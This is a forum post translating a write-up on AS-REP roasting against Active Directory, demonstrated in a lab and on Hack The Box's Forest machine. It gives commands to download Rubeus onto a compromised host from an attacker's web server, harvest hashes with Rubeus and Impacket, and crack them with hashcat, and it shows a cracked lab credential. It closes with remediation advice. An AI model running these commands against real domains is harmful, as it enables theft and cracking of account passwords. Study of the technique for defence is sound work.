AS-REP Roasting - Последствия отключения предварительной аутентификации Kerberos

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Источник: https://infosecwriteups.com/as-rep-...bling-kerberos-preauthentication-9237ff7e8896
Перевёл: BLUA специально для xss.is

Что такое Kerberos?

Kerberos — это метод аутентификации по умолчанию, используемый в системах Windows, включая Active Directory, и применяется для предоставления доступа к сервисам в сети. Он состоит из трех частей:

- клиент Kerberos или принципал — пользователь, хост или сервис, запрашивающий доступ к ресурсу.
- центр распределения ключей — служба аутентификации, служба выдачи билетов и база данных, содержащая записи для всех действительных принципалов Kerberos (обычно это контроллер домена в среде Active Directory).
- сервер приложений или ресурсов — предоставляет доступ к сетевому ресурсу или услуге, запрашиваемым клиентом.

1.png



В зависимости от того, какие параметры системные администраторы выбирают при настройке Active Directory, они могут подвергать свою сеть риску определенных атак.

Итак, что такое AS-REP Roasting?

Проще говоря, это техника для кражи хешей паролей учетных записей пользователей, у которых отключена предварительная аутентификация Kerberos.

Когда включен, Kerberos следует следующему процессу:
1. Аутентификация Kerberos начинается с того, что клиент/принципал отправляет сообщение запроса к серверу аутентификации (AS-REQ) контроллеру домена, которое содержит временную метку, зашифрованную с помощью хеша пароля клиента.
2. Если контроллер домена может расшифровать временную метку сообщения AS-REQ с помощью своей записи хеша пароля клиента, он ответит сообщением ответа сервера аутентификации (AS-REP), содержащим билет на получение билетов (TGT), выданный Центром распределения ключей.

Но когда преаутентификация отключена, злоумышленники могут запрашивать данные аутентификации для любого клиента, и контроллер домена вернет сообщение AS-REP. Проблема заключается в том, что часть сообщения AS-REP содержит зашифрованный пароль клиентов, который затем можно будет вскрыть.

Требования для эксплуатации следующие:

- Выбрана опция "Не требовать преаутентификации Kerberos".
- Возможность подключения к целевому контроллеру домена.
- Законные имена учетных записей домена. Их отсутствие потребует от злоумышленника догадываться.

Предавторизация Kerberos включена по умолчанию в Active Directory, но ее можно отключить, если это необходимо системным администраторам.

Используя свою личную лабораторию Active Directory, для успешного выполнения этой атаки необходимо выбрать следующую опцию в Диспетчере серверов > Инструменты > Пользователи и компьютеры Active Directory > выбрать пользователя:
2.png



Соображения

С такой легко эксплуатируемой конфигурацией, почему администраторы систем вообще отключают предварительную аутентификацию Kerberos?

Согласно различным форумам и документации Microsoft существуют законные причины для его отключения, такие как:
- Контроллер домена (DC) перехватывает трафик аутентификации паролей Outlook, присоединенного к домену.
- VMware ESX не может аутентифицировать пользователей Active Directory.
- Учётные записи домена постоянно блокируются без известной причины. (Это будет временным решением, пока вы исследуете коренную причину.)

Конечно, это увеличивает риск кибербезопасности для вашей сети и организации.

Эксплуатация с помощью Rubeus

Преимущество этого метода AS-REP roasting, насколько я вижу, заключается в том, что он не требует полного списка действительных пользователей для получения уязвимых аккаунтов. Однако… он требует доступа к оболочке. Поэтому, если вы получите доступ к оболочке на машине и хотите перечислить аккаунты, подходящие для AS-REP roasting, вы можете использовать следующую команду для загрузки файла на скомпрометированном хосте:
Код: Скопировать в буфер обмена
Powershell.exe -ExecutionPolicy Bypass Invoke-WebRequest "http://x.x.x.x:<PORT#>/Rubeus.exe" -OutFile "Rubeus.exe"

3.png


Это предполагает, что вы запускаете веб-сервер из той директории, в которой находится исполняемый файл Rubeus.

Затем выполните с помощью:
Код: Скопировать в буфер обмена
.\Rubeus.exe asreproast

4.png



Boom!

Эксплуатация через Impacket

Используя машину Forest от Hack the Box в качестве примера, я могу выполнить следующую команду, чтобы получить TGT для любых уязвимых учетных записей:
Код: Скопировать в буфер обмена
for user in $(cat /root/forestusers.txt); do python3 GetNPUsers.py -no-pass -dc-ip 10.129.51.251 htb/${user} | grep -v Impacket; done

(Спасибо этой статье на Medium за то, что она показала мне новый способ выполнить вышеуказанное.)

5.png


Успех снова. Скопируйте всё в выделенной области для взлома.

Взлом вашего новообретенного хеша

Снова, используя Forest от Hack the Box в качестве примера, вы можете взломать хеши, полученные из AS-REP roasting, с помощью hashcat с флагом -m и значением 18200:
6.png


Мне просто больше нравится hashcat, но, конечно, john или другой инструмент для взлома паролей на ваш выбор также подойдут.

Взлом с использованием .txt файла:

Код: Скопировать в буфер обмена
hashcat -a 0 -m 18200 htbforest.txt /usr/share/wordlists/rockyou.txt --force

7.png


Итак, svc-alfresco:s3rvice.

Копирование/вставка хеша непосредственно в команду:
Код: Скопировать в буфер обмена
hashcat -a 3 -m 18200 '$krb5asrep$23$svc-alfresco@HTB:93e0942cbe622f67b1858d3ff5c0955d$30163502ca7a70e20f2de099ad2726d791876d1b6e4740eb9d9945da7755fa174115f1dac95a31978c401b49a634d382609dee8371ef0fbebc2a67c9918ce132fe7ffb1f6dbdee86e417d7ef48455869157de56b4fb94640a5ec82bd8b8e290e6a6c491c57c4bbbaae8ec2996f65c3397e266c7a923e2ab2f1b83e09a5ed64e30e59b7b302c9ed1ba892317b3133d722be126bf5242e7f55afe2ecdaa3305ef213bf126ad9deec254cebca5ddcc3caed1942107a676722e89b772b6c84ab37e7654eb967b34aac75ee4315fb942d624f47a45b73db03a3486b0026c3a49a4ed3' /usr/share/wordlists/rockyou.txt --force

8.png


Снова, svc-alfresco:s3rvice.

Заключение

Короче говоря, это относительно простая атака, зависящая от, казалось бы, распространенной неправильной конфигурации. Если вам не нужно отключать преаутентификацию, то не отключайте. Если вам действительно нужно отключить преаутентификацию, будет разумно устранить коренную причину любых сбоев аутентификации, а затем как можно скорее снова включить её.
 
Сверху Снизу